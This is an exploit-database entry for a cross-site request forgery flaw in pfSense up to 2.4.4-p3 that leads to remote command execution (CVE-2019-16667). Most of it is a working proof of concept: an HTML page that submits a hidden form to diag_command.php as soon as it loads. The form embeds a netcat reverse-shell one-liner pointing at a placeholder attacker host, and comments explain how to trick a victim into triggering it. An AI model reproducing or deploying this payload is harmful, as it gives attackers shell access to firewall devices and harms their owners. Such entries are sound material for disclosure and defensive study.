pfSense 2.4.4-p3 - Cross-Site Request Forgery

2020-07-29
ID: 103230
CVE: None
Download vulnerable application: None
# Exploit Title: 
# Date: 2019-09-27
# Exploit Author: ghost_fh
# Vendor Homepage: https://www.pfsense.org/
# Software Link: https://www.pfsense.org/download/index.html?section=downloads
# Version: Till 2.4.4-p3
# Tested on: freebsd
# CVE : CVE-2019-16667

# Vulnerability Description :- The pfsense firewall is vulnerable to RCE
# chained with CSRF as it uses `csrf magic` library since it allows to tamper
# the CSRF token values submitted when processing the form requests. Due to
# this flaw, an attacker can exploit this vulnerability by crafting new page
# that contains attacker's controlled input such as a "reverse shell" (eg:
# `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attackerip port
# >/tmp/f`token value) in the form and entice the victims to click
# on the crafted link via social engineering methods. Once the victim clicks
# on the link (try again button in this case), the attacker can take the
# lateral control of the victim's machine and malicious actions can be
# performed on the victim's behalf.

<!DOCTYPE html>
<html>
<body onload="document.createElement('form').submit.call(document.getElementById('myForm'))">
<form id="myForm" action="https://pfsense_ip/diag_command.php" method="POST">
<input type=hidden name="txtCommand" value="rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|
nc attacker_ip attacker_port >/tmp/f">
<input type=hidden name="txtRecallBuffer" value="rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i
2>&1|nc attacker_ip attacker_port >/tmp/f">
<input type=hidden name="dlPath" value="">
<input type=hidden name="txtPHPCommand" value="">
<input type="hidden" name="submit" value="EXEC">
</form>
</body>
</html>

# Create a malicious page containing the above values and once user clicks on malicious link, 
# he will be redirected to https://pfsense_ip/diag_command.php page.
# Victim will be greeted with the "Try again" button.
# Once victim clicks on the "Try again" button you will be greeted with reverse shell of the victim.
1-4-2 (www01)